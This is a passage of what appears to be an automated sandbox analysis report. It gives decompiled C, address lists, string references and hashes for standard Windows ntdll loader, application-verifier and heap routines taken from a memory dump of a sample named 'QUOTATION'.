0x337a874a
0x337a874c
0x337a874e
0x337a8768
0x337a876e
0x00000000
0x00000000
0x337a8774
0x337a877a
0x337a878e
0x337a8797
0x337a879c
0x337a879e
0x337a87a0
0x337a87ab
0x337a87ab
0x337a87ae
0x337a87b0
0x337a87b5
0x337a87b5
0x337a87bc
0x337a87c2
0x337a87cd
0x337a87d2
0x337a87d8
0x337a87d8
0x337a87da
0x337a87da
0x337a87e0
0x00000000
0x00000000
0x337a87ec
0x337a87f8
0x337a87fa
0x337a87fc
0x00000000
0x00000000
0x337a8802
0x337a8802
0x337a8806
0x337a880d
0x337a880f
0x337a881a
0x337a881a
0x337a881f
0x337a8834
0x00000000
0x337a8834
0x337a8750
0x337a8754
0x337a8757
0x00000000
0x337a86d6
0x337a86dc
0x337a86df
0x337a86e4
0x337a86ef
0x337a86fd
0x337a8711
0x00000000
0x337a8711

Strings

VerifierDebug, xrefs: 337A8925
HandleTraces, xrefs: 337A890F
VerifierDlls, xrefs: 337A893D
AVRF: -*- final list of providers -*- , xrefs: 337A880F
AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error., xrefs: 337A86E7
AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled, xrefs: 337A86BD
VerifierFlags, xrefs: 337A88D0

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error.$AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled$AVRF: -*- final list of providers -*- $HandleTraces$VerifierDebug$VerifierDlls$VerifierFlags
API String ID: 0-3223716464
Opcode ID: ba82bbdd8cc448d73d7e5258029d8cbed1860df13c9949a3cd3eac476e870093
Instruction ID: c15a6ba608c0c2ade737b872683d0431596229c020971b4415978e2bcd1b36ea
Opcode Fuzzy Hash: ba82bbdd8cc448d73d7e5258029d8cbed1860df13c9949a3cd3eac476e870093
Instruction Fuzzy Hash: E4911272D06711AFE311DFA8C884B1ABBE9EB48756F450658F980AF751CB30DC05DB92

Uniqueness

Uniqueness Score: -1.00%

Function 3374237A Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 35%

			E3374237A(intOrPtr* __ecx, void* __edx) {
				char _v8;
				signed int _v12;
				intOrPtr* _v16;
				void* __ebx;
				intOrPtr _t22;
				intOrPtr _t29;
				signed int _t30;
				signed char _t36;
				intOrPtr _t38;
				intOrPtr* _t42;
				void* _t45;
				void* _t48;
				signed int _t50;
				intOrPtr* _t51;
				signed int _t53;
				signed int _t55;
				void* _t59;

				_t38 =  *0x338138b8; // 0x1
				_t50 = 0;
				_v16 = __ecx;
				_v12 = 0;
				_t55 = 0;
				if(_t38 == 0) {
					L2:
					if(_t38 == 1) {
						_t22 =  *0x338168d8; // 0x0
						if(_t22 != 0) {
							E33733BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t50, _t22);
							 *0x338168d8 = _t50;
							 *0x33815d4c = _t50;
						}
					}
					 *0x338138b8 = _t38;
					return _t55;
				}
				_t59 =  *0x338168d8 - _t55; // 0x0
				if(_t59 != 0) {
					 *0x338138b8 = 0;
					_t55 = E337A1BB6(_t38,  &_v8);
					if(_t55 >= 0) {
						_t51 =  *0x338168d8; // 0x0
						while( *_t51 != 0) {
							 *0x338191e0(_t51, 0, 1, 1, 0, 1, 0x10);
							_v8();
							if(0 == 0) {
								_t55 = 0xc0000142;
								L21:
								_t50 = 0;
								goto L2;
							}
							_t42 = _t51;
							_t10 = _t42 + 2; // 0x2
							_t48 = _t10;
							do {
								_t29 =  *_t42;
								_t42 = _t42 + 2;
							} while (_t29 != _v12);
							_t51 = _t51 + (_t42 - _t48 >> 1) * 2 + 2;
						}
						_t30 =  *0x7ffe0330;
						_t53 =  *0x33819218; // 0x0
						_v12 = _t30;
						_t45 = 0x20;
						_t46 = _t45 - (_t30 & 0x0000001f);
						asm("ror edi, cl");
						E3372FED0(0x338132d8);
						if( *0x338165f4 < 3) {
							_t46 = _v16;
							if(( *( *_v16 - 0x20) & 0x00000800) == 0) {
								E33716704(_t46, _t53 ^ _v12);
							}
						}
						_push(0x338132d8);
						E3372E740(_t46);
						goto L21;
					}
					_t36 =  *0x338137c0; // 0x0
					if((_t36 & 0x00000003) != 0) {
						E3379E692("minkernel\\ntdll\\ldrinit.c", 0xba1, "LdrpDynamicShimModule", 0, "Getting ApphelpCheckModule failed with status 0x%08lx\n", _t55);
						_t36 =  *0x338137c0; // 0x0
					}
					if((_t36 & 0x00000010) != 0) {
						asm("int3");
					}
					_t55 = _t50;
				}
				goto L2;
			}

0x33742383
0x3374238b
0x3374238d
0x33742390
0x33742393
0x33742397
0x337423a5
0x337423a8
0x337423aa
0x337423b1
0x3378a878
0x3378a87d
0x3378a883
0x3378a883
0x337423b1
0x337423ba
0x337423c3
0x337423c3
0x33742399
0x3374239f
0x3378a784
0x3378a78f
0x3378a793
0x3378a7cd
0x3378a80b
0x3378a7e3
0x3378a7e9
0x3378a7ee
0x3378a866
0x3378a85f
0x3378a85f
0x00000000
0x3378a85f
0x3378a7f0
0x3378a7f2
0x3378a7f2
0x3378a7f5
0x3378a7f5
0x3378a7f8
0x3378a7fb
0x3378a808
0x3378a808
0x3378a812
0x3378a817
0x3378a81f
0x3378a825
0x3378a826
0x3378a82d
0x3378a82f
0x3378a83b
0x3378a83d
0x3378a849
0x3378a850
0x3378a850
0x3378a849
0x3378a855
0x3378a85a
0x00000000
0x3378a85a
0x3378a795
0x3378a79c
0x3378a7b4
0x3378a7b9
0x3378a7be
0x3378a7c3
0x3378a7c5
0x3378a7c5
0x3378a7c6
0x3378a7c6
0x00000000

Strings

DGo3, xrefs: 33742382
LdrpDynamicShimModule, xrefs: 3378A7A5
minkernel\ntdll\ldrinit.c, xrefs: 3378A7AF
Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 3378A79F

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: DGo3$Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$minkernel\ntdll\ldrinit.c
API String ID: 0-552688978
Opcode ID: 65bd23145b4de70f4edc3ea3c19c59cba8f7619e0a6d03c9d7b82e755647b89f
Instruction ID: 9f39e257398074de0f7cd850fa7aaf56781bdec1a91e86d7db1323938c9270d5
Opcode Fuzzy Hash: 65bd23145b4de70f4edc3ea3c19c59cba8f7619e0a6d03c9d7b82e755647b89f
Instruction Fuzzy Hash: 35312476E00700AFE751AF58C885B5A7BF9EB88750F18006DE801BF651EBF0A842DB90

Uniqueness

Uniqueness Score: -1.00%

Function 3371F113 Relevance: 8.2, Strings: 6, Instructions: 684
COMMONCrypto

Download Yara Rule

C-Code - Quality: 65%

			E3371F113(signed int __ecx, signed int __edx, signed int _a4, char _a8) {
				char _v8;
				signed short _v12;
				signed short _v16;
				signed int _v20;
				signed int _v24;
				signed short _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				unsigned int _v52;
				void* _v56;
				intOrPtr _v60;
				void* _v68;
				void* _v72;
				void* __ebx;
				void* __edi;
				void* __ebp;
				unsigned int _t242;
				signed char _t243;
				signed short _t245;
				signed int _t247;
				signed int _t250;
				signed int _t251;
				signed int _t252;
				intOrPtr _t255;
				signed int _t265;
				signed int _t274;
				signed int _t277;
				intOrPtr _t278;
				signed int _t279;
				signed int _t302;
				signed short _t308;
				intOrPtr _t312;
				signed int _t323;
				signed int _t328;
				signed int _t331;
				intOrPtr _t332;
				signed int _t334;
				signed int _t336;
				signed int _t337;
				signed int _t340;
				intOrPtr _t341;
				intOrPtr _t350;
				signed int _t354;
				signed int _t357;
				intOrPtr _t358;
				signed int _t359;
				signed int _t378;
				signed short _t386;
				intOrPtr _t388;
				intOrPtr _t399;
				unsigned int _t415;
				signed int _t424;
				signed int _t427;
				signed int _t431;
				signed int _t439;
				signed short _t440;
				signed short _t443;
				signed int _t447;
				signed short* _t453;
				void* _t461;
				signed int _t472;
				signed int _t473;
				signed int _t475;
				intOrPtr _t476;
				signed int _t483;
				void* _t485;
				signed short _t496;
				unsigned int _t502;
				unsigned int _t504;
				signed int _t509;
				signed int _t514;
				signed short* _t524;
				signed int _t535;
				signed int _t537;
				signed int _t540;
				unsigned int _t545;
				signed int _t547;

				_t444 = __ecx;
				_t547 = __ecx;
				_t533 = __edx;
				_v28 = 0;
				_v40 = 0;
				if(( *(__ecx + 0xcc) ^  *0x33816d48) != 0) {
					_push(_a4);
					_t509 = __edx;
					L11:
					_t242 = E33730B10(_t444, _t509);
					L7:
					return _t242;
				}
				if(_a8 != 0) {
					__eflags =  *(__edx + 2) & 0x00000008;
					if(( *(__edx + 2) & 0x00000008) != 0) {
						 *((intOrPtr*)(__ecx + 0x240)) =  *((intOrPtr*)(__ecx + 0x240)) - 1;
						_t424 = E3371F858(__edx,  &_v12,  &_v16);
						__eflags = _t424;
						if(_t424 != 0) {
							_t135 = _t547 + 0x244;
							 *_t135 =  *(_t547 + 0x244) - _v16;
							__eflags =  *_t135;
						}
					}
					_t439 = _a4;
					_t509 = _t533;
					_v44 = _t533;
					L14:
					_t243 =  *((intOrPtr*)(_t533 + 6));
					__eflags = _t243;
					if(_t243 == 0) {
						_t535 = _t547;
					} else {
						_t535 = (_t533 & 0xffff0000) - ((_t243 & 0x000000ff) << 0x10) + 0x10000;
						__eflags = _t535;
					}
					_t245 = 7 + _t439 * 8 + _t509;
					_v12 = _t245;
					__eflags =  *_t245 - 3;
					if( *_t245 == 3) {
						_v16 = _t509 + _t439 * 8 + 8;
						E33719E69(_t547, _t509 + _t439 * 8 + 8);
						_t496 = _v16;
						_v28 =  *(_t496 + 0x10);
						 *((intOrPtr*)(_t535 + 0x30)) =  *((intOrPtr*)(_t535 + 0x30)) - 1;
						_v36 =  *(_t496 + 0x14);
						 *((intOrPtr*)(_t535 + 0x2c)) =  *((intOrPtr*)(_t535 + 0x2c)) - ( *(_t496 + 0x14) >> 0xc);
						 *((intOrPtr*)(_t547 + 0x1f8)) =  *((intOrPtr*)(_t547 + 0x1f8)) +  *(_t496 + 0x14);
						 *((intOrPtr*)(_t547 + 0x208)) =  *((intOrPtr*)(_t547 + 0x208)) - 1;
						_t415 =  *(_t496 + 0x14);
						__eflags = _t415 - 0x7f000;
						if(_t415 >= 0x7f000) {
							 *(_t547 + 0x1fc) =  *(_t547 + 0x1fc) - _t415;
							_t415 =  *(_t496 + 0x14);
						}
						_t509 = _v44;
						_t439 = _t439 + (_t415 >> 3) + 0x20;
						__eflags = 1;
						_a4 = _t439;
						_v40 = 1;
					} else {
						_v36 = _v36 & 0x00000000;
					}
					__eflags =  *((intOrPtr*)(_t547 + 0x54)) -  *((intOrPtr*)(_t509 + 4));
					if( *((intOrPtr*)(_t547 + 0x54)) ==  *((intOrPtr*)(_t509 + 4))) {
						_v48 = _t509;
						_t247 = E3371BF92(_t535, _t509);
						__eflags = _a8;
						_v32 = _t247;
						if(_a8 != 0) {
							__eflags = _t247;
							if(_t247 == 0) {
								goto L20;
							}
						}
						__eflags =  *0x33816960 - 1;
						if( *0x33816960 >= 1) {
							__eflags = _t247;
							if(_t247 == 0) {
								_t399 =  *[fs:0x30];
								__eflags =  *(_t399 + 0xc);
								if( *(_t399 + 0xc) == 0) {
									_push("HEAP: ");
									E3371B910();
								} else {
									E3371B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push("(UCRBlock != NULL)");
								E3371B910();
								__eflags =  *0x33815da8;
								if( *0x33815da8 == 0) {
									__eflags = 0;
									E337DFC95(_t439, 1, _t535, 0);
								}
								_t509 = _v44;
								_t439 = _a4;
							}
						}
						_t334 = _v40;
						_t472 = _t439 << 3;
						_v20 = _t472;
						_t473 = _t472 + _t509;
						_v24 = _t473;
						__eflags = _t334;
						if(_t334 == 0) {
							_t473 = _t473 + 0xfffffff0;
						}
						_t475 = (_t473 & 0xfffff000) - _v48;
						__eflags = _t475;
						_v52 = _t475;
						if(_t475 == 0) {
							__eflags =  *0x33816960 - 1;
							if( *0x33816960 < 1) {
								goto L9;
							}
							__eflags = _t334;
							L147:
							if(__eflags == 0) {
								goto L9;
							}
							_t255 =  *[fs:0x30];
							__eflags =  *(_t255 + 0xc);
							if( *(_t255 + 0xc) == 0) {
								_push("HEAP: ");
								E3371B910();
							} else {
								E3371B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push("(!TrailingUCR)");
							E3371B910();
							__eflags =  *0x33815da8;
							if( *0x33815da8 == 0) {
								__eflags = 0;
								E337DFC95(_t439, 1, _t535, 0);
							}
							goto L153;
						} else {
							_t336 = E3371FABA( &_v48,  &_v52, 0x4000);
							__eflags = _t336;
							if(_t336 < 0) {
								L90:
								 *((intOrPtr*)(_t547 + 0x220)) =  *((intOrPtr*)(_t547 + 0x220)) + 1;
								__eflags = _v40;
								if(_v40 == 0) {
									L154:
									_t509 = _v44;
									L9:
									_t444 = _t547;
									L10:
									_push(_t439);
									goto L11;
								}
								E3373096B(_t547, _t535, _v28 + 0xffffffe8, _v36, _v44,  &_a4);
								L153:
								_t439 = _a4;
								goto L154;
							}
							_t337 = E33733C40();
							_t441 = 0x7ffe0380;
							__eflags = _t337;
							if(_t337 != 0) {
								_t340 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t340 = 0x7ffe0380;
							}
							__eflags =  *_t340;
							if( *_t340 != 0) {
								_t341 =  *[fs:0x30];
								__eflags =  *(_t341 + 0x240) & 0x00000001;
								if(( *(_t341 + 0x240) & 0x00000001) != 0) {
									E337DF13E(_t441, _t547, _v48, _v52, 5);
								}
							}
							_t342 = _v32;
							 *((intOrPtr*)(_t547 + 0x210)) =  *((intOrPtr*)(_t547 + 0x210)) + 1;
							_t476 =  *((intOrPtr*)(_v32 + 0x14));
							__eflags = _t476 - 0x7f000;
							if(_t476 >= 0x7f000) {
								 *(_t547 + 0x1fc) =  *(_t547 + 0x1fc) - _t476;
							}
							E33719E69(_t547, _t342);
							_t478 = _v32;
							 *((intOrPtr*)(_v32 + 0x14)) =  *((intOrPtr*)(_v32 + 0x14)) + _v52;
							E3371B9F6(_t547, _t478);
							 *((intOrPtr*)(_t535 + 0x2c)) =  *((intOrPtr*)(_t535 + 0x2c)) + (_v52 >> 0xc);
							 *((intOrPtr*)(_t547 + 0x1f8)) =  *((intOrPtr*)(_t547 + 0x1f8)) - _v52;
							_t350 =  *((intOrPtr*)(_v32 + 0x14));
							__eflags = _t350 - 0x7f000;
							if(_t350 >= 0x7f000) {
								_t123 = _t547 + 0x1fc;
								 *_t123 =  *(_t547 + 0x1fc) + _t350;
								__eflags =  *_t123;
							}
							__eflags = _v40;
							if(_v40 == 0) {
								_t524 = _v52 + _v48;
								_v32 = _t524;
								_t524[2] =  *((intOrPtr*)(_t547 + 0x54));
								__eflags = _v24 - _v52 + _v48;
								if(_v24 == _v52 + _v48) {
									__eflags =  *(_t547 + 0x4c);
									if( *(_t547 + 0x4c) != 0) {
										_t524[1] = _t524[1] ^ _t524[0] ^  *_t524;
										 *_t524 =  *_t524 ^  *(_t547 + 0x50);
									}
								} else {
									_t443 = 0;
									_t524[3] = 0;
									_t524[1] = 0;
									_t378 = _v20 - _v52 >> 0x00000003 & 0x0000ffff;
									_t483 = _t378;
									 *_t524 = _t378;
									__eflags =  *0x33816960 - 1; // 0x0
									if(__eflags >= 0) {
										__eflags = _t483 - 1;
										if(_t483 <= 1) {
											_t388 =  *[fs:0x30];
											__eflags =  *(_t388 + 0xc);
											if( *(_t388 + 0xc) == 0) {
												_push("HEAP: ");
												E3371B910();
											} else {
												E3371B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
											}
											_push("((LONG)FreeEntry->Size > 1)");
											E3371B910();
											__eflags =  *0x33815da8 - _t443; // 0x0
											if(__eflags == 0) {
												__eflags = 0;
												E337DFC95(_t443, 1, _t535, 0);
											}
											_t524 = _v32;
										}
									}
									_t524[1] = _t443;
									__eflags =  *((intOrPtr*)(_t535 + 0x18)) - _t535;
									if( *((intOrPtr*)(_t535 + 0x18)) != _t535) {
										_t386 = (_t524 - _t535 >> 0x10) + 1;
										_v16 = _t386;
										__eflags = _t386 - 0xfe;
										if(_t386 >= 0xfe) {
											_push(_t443);
											_push(_t443);
											_push(_t535);
											_push(_t524);
											_t485 = 3;
											E337E5FED(_t485,  *((intOrPtr*)(_t535 + 0x18)));
											_t524 = _v48;
											_t386 = _v32;
										}
										_t443 = _t386;
									}
									_t524[3] = _t443;
									E33730B10(_t547, _t524,  *_t524 & 0x0000ffff);
									_t441 = 0x7ffe0380;
								}
							}
							_t354 = E33733C40();
							__eflags = _t354;
							if(_t354 != 0) {
								_t357 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t357 = _t441;
							}
							__eflags =  *_t357;
							if( *_t357 != 0) {
								_t358 =  *[fs:0x30];
								__eflags =  *(_t358 + 0x240) & 1;
								if(( *(_t358 + 0x240) & 1) != 0) {
									__eflags = E33733C40();
									if(__eflags != 0) {
										_t441 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
									}
									E337DF058(_t441, _t547, _v48, __eflags, _v52,  *(_t547 + 0x74) << 3, _v40, _v36,  *_t441 & 0x000000ff);
								}
							}
							_t359 = E33733C40();
							_t540 = 0x7ffe038a;
							_t440 = 0x230;
							__eflags = _t359;
							if(_t359 != 0) {
								_t242 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
							} else {
								_t242 = 0x7ffe038a;
							}
							__eflags =  *_t242;
							if( *_t242 != 0) {
								__eflags = E33733C40();
								if(__eflags != 0) {
									_t540 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + _t440;
									__eflags = _t540;
								}
								_push( *_t540 & 0x000000ff);
								_push(_v36);
								_push(_v40);
								L123:
								_push( *(_t547 + 0x74) << 3);
								_push(_v52);
								_t242 = E337DF058(_t440, _t547, _v48, __eflags);
							}
							goto L7;
						}
					}
					L20:
					_t447 = _t509 + 0x0000101f & 0xfffff000;
					_v48 = _t447;
					__eflags = _t447 - _t509 + 0x28;
					if(_t447 == _t509 + 0x28) {
						_t447 = _t447 + 0x1000;
						_v48 = _t447;
					}
					_t250 = _t439 << 3;
					_v24 = _t250;
					_t251 = _t250 + _t509;
					__eflags = _v40;
					_v20 = _t251;
					if(_v40 == 0) {
						_t251 = _t251 + 0xfffffff0;
					}
					_t252 = _t251 & 0xfffff000;
					__eflags = _t252 - _t447;
					if(_t252 < _t447) {
						__eflags =  *0x33816960 - 1; // 0x0
						if(__eflags < 0) {
							goto L9;
						}
						__eflags = _v40;
						goto L147;
					}
					_t265 = _t252 - _t447;
					__eflags = _a8;
					_v52 = _t265;
					if(_a8 != 0) {
						L25:
						__eflags = _t265;
						if(_t265 == 0) {
							L31:
							_t440 = 0;
							__eflags = _v40;
							if(_v40 == 0) {
								_t453 = _v48 + _v52;
								_v36 = _t453;
								_t453[2] =  *((intOrPtr*)(_t547 + 0x54));
								__eflags = _v20 - _v52 + _v48;
								if(_v20 == _v52 + _v48) {
									__eflags =  *(_t547 + 0x4c);
									if( *(_t547 + 0x4c) != 0) {
										_t453[1] = _t453[1] ^ _t453[0] ^  *_t453;
										 *_t453 =  *_t453 ^  *(_t547 + 0x50);
									}
								} else {
									_t453[3] = 0;
									_t453[1] = 0;
									_t302 = _v24 - _v52 - _v48 + _t509 >> 0x00000003 & 0x0000ffff;
									_t514 = _t302;
									 *_t453 = _t302;
									__eflags =  *0x33816960 - 1; // 0x0
									if(__eflags >= 0) {
										__eflags = _t514 - 1;
										if(_t514 <= 1) {
											_t312 =  *[fs:0x30];
											__eflags =  *(_t312 + 0xc);
											if( *(_t312 + 0xc) == 0) {
												_push("HEAP: ");
												E3371B910();
											} else {
												E3371B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
											}
											_push("(LONG)FreeEntry->Size > 1");
											E3371B910();
											__eflags =  *0x33815da8 - _t440; // 0x0
											if(__eflags == 0) {
												__eflags = 0;
												E337DFC95(_t440, 1, _t535, 0);
											}
											_t453 = _v36;
										}
									}
									_t453[1] = _t440;
									_t515 =  *((intOrPtr*)(_t535 + 0x18));
									__eflags =  *((intOrPtr*)(_t535 + 0x18)) - _t535;
									if( *((intOrPtr*)(_t535 + 0x18)) != _t535) {
										_t308 = (_t453 - _t535 >> 0x10) + 1;
										_v12 = _t308;
										__eflags = _t308 - 0xfe;
										if(_t308 >= 0xfe) {
											_push(_t440);
											_push(_t440);
											_push(_t535);
											_push(_t453);
											_t461 = 3;
											E337E5FED(_t461, _t515);
											_t453 = _v52;
											_t308 = _v28;
										}
									} else {
										_t308 = _t440;
									}
									_t453[3] = _t308;
									E33730B10(_t547, _t453,  *_t453 & 0x0000ffff);
								}
							}
							E3373096B(_t547, _t535, _v48 + 0xffffffe8, _v52, _v44,  &_v8);
							E33730B10(_t547, _v60, _v24);
							_t274 = E33733C40();
							_t536 = 0x7ffe0380;
							__eflags = _t274;
							if(_t274 != 0) {
								_t277 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t277 = 0x7ffe0380;
							}
							__eflags =  *_t277;
							if( *_t277 != 0) {
								_t278 =  *[fs:0x30];
								__eflags =  *(_t278 + 0x240) & 1;
								if(( *(_t278 + 0x240) & 1) != 0) {
									__eflags = E33733C40();
									if(__eflags != 0) {
										_t536 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
									}
									E337DF058(_t440, _t547, _v48, __eflags, _v52,  *(_t547 + 0x74) << 3, _t440, _t440,  *_t536 & 0x000000ff);
								}
							}
							_t279 = E33733C40();
							_t537 = 0x7ffe038a;
							__eflags = _t279;
							if(_t279 != 0) {
								_t242 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
							} else {
								_t242 = 0x7ffe038a;
							}
							__eflags =  *_t242;
							if( *_t242 == 0) {
								goto L7;
							} else {
								__eflags = E33733C40();
								if(__eflags != 0) {
									_t537 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
									__eflags = _t537;
								}
								_push( *_t537 & 0x000000ff);
								_push(_t440);
								_push(_t440);
								goto L123;
							}
						}
						 *((intOrPtr*)(_t547 + 0x210)) =  *((intOrPtr*)(_t547 + 0x210)) + 1;
						_t323 = E3371FABA( &_v48,  &_v52, 0x4000);
						__eflags = _t323;
						if(_t323 < 0) {
							goto L90;
						}
						_t328 = E33733C40();
						__eflags = _t328;
						if(_t328 != 0) {
							_t331 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						} else {
							_t331 = 0x7ffe0380;
						}
						__eflags =  *_t331;
						if( *_t331 != 0) {
							_t332 =  *[fs:0x30];
							__eflags =  *(_t332 + 0x240) & 1;
							if(( *(_t332 + 0x240) & 1) != 0) {
								E337DF13E(_t439, _t547, _v48, _v52, 6);
							}
						}
						_t509 = _v44;
						goto L31;
					}
					__eflags =  *_v12 - 3;
					if( *_v12 != 3) {
						__eflags = _t265;
						if(_t265 == 0) {
							goto L9;
						}
						__eflags = _t265 -  *((intOrPtr*)(_t547 + 0x6c));
						if(_t265 >=  *((intOrPtr*)(_t547 + 0x6c))) {
							goto L25;
						} else {
							goto L9;
						}
					}
					goto L25;
				}
				_t439 = _a4;
				if(_t439 <  *((intOrPtr*)(__ecx + 0x6c))) {
					_t509 = __edx;
					goto L10;
				}
				_t427 =  *((intOrPtr*)(__ecx + 0x74)) + _t439;
				_v20 = _t427;
				if(_t427 <  *((intOrPtr*)(__ecx + 0x70)) || _v20 <  *(__ecx + 0x1f8) >>  *((intOrPtr*)(__ecx + 0x250)) + 3) {
					_t509 = _t533;
					goto L9;
				} else {
					_t431 = E33731EB2(__ecx, __edx,  &_a4, 0);
					_t439 = _a4;
					_t509 = _t431;
					_v52 = _t509;
					if(_t439 - 0x201 > 0xfbff) {
						goto L14;
					} else {
						E33730B10(__ecx, _t509, _t439);
						_t502 =  *(_t547 + 0x248);
						_t545 =  *((intOrPtr*)(_t547 + 0x1f8)) - ( *(_t547 + 0x74) << 3);
						_t242 = _t502 >> 4;
						if(_t545 < _t502 - _t242) {
							_t504 =  *(_t547 + 0x24c);
							_t242 = _t504 >> 2;
							__eflags = _t545 - _t504 - _t242;
							if(_t545 > _t504 - _t242) {
								_t242 = E3371F6C1(_t547);
								 *(_t547 + 0x24c) = _t545;
								 *(_t547 + 0x248) = _t545;
							}
						}
						goto L7;
					}
				}
			}

0x3371f113
0x3371f120
0x3371f123
0x3371f127
0x3371f137
0x3371f13b
0x3377dc64
0x3377dc67
0x3371f1d5
0x3371f1d5
0x3371f1c7
0x3371f1cd
0x3371f1cd
0x3371f144
0x3377dc75
0x3377dc79
0x3377dc7b
0x3377dc8d
0x3377dc92
0x3377dc94
0x3377dc9a
0x3377dc9a
0x3377dc9a
0x3377dc9a
0x3377dc94
0x3377dca0
0x3377dca3
0x3377dca5
0x3371f202
0x3371f202
0x3371f205
0x3371f207
0x3377dcae
0x3371f20d
0x3371f21b
0x3371f21b
0x3371f21b
0x3371f228
0x3371f22a
0x3371f22e
0x3371f231
0x3371f23f
0x3371f243
0x3371f248
0x3371f24f
0x3371f256
0x3371f259
0x3371f263
0x3371f269
0x3371f26f
0x3371f275
0x3371f278
0x3371f27d
0x3371f45b
0x3371f461
0x3371f461
0x3371f283
0x3371f28d
0x3371f291
0x3371f292
0x3371f295
0x3371f3be
0x3371f3be
0x3371f3be
0x3371f29d
0x3371f2a1
0x3371f494
0x3371f498
0x3371f49d
0x3371f4a1
0x3371f4a5
0x3377dcb5
0x3377dcb7
0x00000000
0x00000000
0x3377dcbd
0x3371f4ab
0x3371f4b2
0x3377dcc2
0x3377dcc4
0x3377dcca
0x3377dcd0
0x3377dcd4
0x3377dcf3
0x3377dcf8
0x3377dcd6
0x3377dceb
0x3377dcf0
0x3377dcfe
0x3377dd03
0x3377dd08
0x3377dd10
0x3377dd12
0x3377dd17
0x3377dd17
0x3377dd1c
0x3377dd20
0x3377dd20
0x3377dcc4
0x3371f4b8
0x3371f4be
0x3371f4c1
0x3371f4c5
0x3371f4c7
0x3371f4cb
0x3371f4cd
0x3377dd28
0x3377dd28
0x3371f4d9
0x3371f4d9
0x3371f4dd
0x3371f4e1
0x3377dd30
0x3377dd37
0x00000000
0x00000000
0x3377dd3d
0x3377e0fe
0x3377e0fe
0x00000000
0x00000000
0x3377e104
0x3377e10a
0x3377e10e
0x3377e12d
0x3377e132
0x3377e110
0x3377e125
0x3377e12a
0x3377e138
0x3377e13d
0x3377e142
0x3377e14a
0x3377e14c
0x3377e151
0x3377e151
0x00000000
0x3371f4e7
0x3371f4f5
0x3371f4fa
0x3371f4fc
0x3377dd44
0x3377dd44
0x3377dd4a
0x3377dd4f
0x3377e159
0x3377e159
0x3371f1d2
0x3371f1d2
0x3371f1d4
0x3371f1d4
0x00000000
0x3371f1d4
0x3377dd6d
0x3377e156
0x3377e156
0x00000000
0x3377e156
0x3371f502
0x3371f507
0x3371f50c
0x3371f50e
0x3377dd80
0x3371f514
0x3371f514
0x3371f514
0x3371f516
0x3371f519
0x3377dd8a
0x3377dd90
0x3377dd97
0x3377dda9
0x3377dda9
0x3377dd97
0x3371f51f
0x3371f523
0x3371f529
0x3371f52c
0x3371f532
0x3377ddb3
0x3377ddb3
0x3371f53c
0x3371f541
0x3371f54b
0x3371f550
0x3371f55c
0x3371f563
0x3371f56d
0x3371f570
0x3371f575
0x3371f577
0x3371f577
0x3371f577
0x3371f577
0x3371f57d
0x3371f582
0x3377ddc2
0x3377ddca
0x3377ddce
0x3377ddda
0x3377ddde
0x3377deaf
0x3377deb3
0x3377dec1
0x3377dec7
0x3377dec7
0x3377dde4
0x3377dde8
0x3377ddea
0x3377dded
0x3377ddf7
0x3377ddfa
0x3377ddfc
0x3377de02
0x3377de08
0x3377de0a
0x3377de0d
0x3377de0f
0x3377de15
0x3377de18
0x3377de37
0x3377de3c
0x3377de1a
0x3377de2f
0x3377de34
0x3377de42
0x3377de47
0x3377de4d
0x3377de53
0x3377de55
0x3377de5a
0x3377de5a
0x3377de5f
0x3377de5f
0x3377de0d
0x3377de63
0x3377de66
0x3377de69
0x3377de72
0x3377de73
0x3377de77
0x3377de7c
0x3377de7e
0x3377de7f
0x3377de80
0x3377de81
0x3377de87
0x3377de88
0x3377de8d
0x3377de91
0x3377de91
0x3377de95
0x3377de95
0x3377de9d
0x3377dea0
0x3377dea5
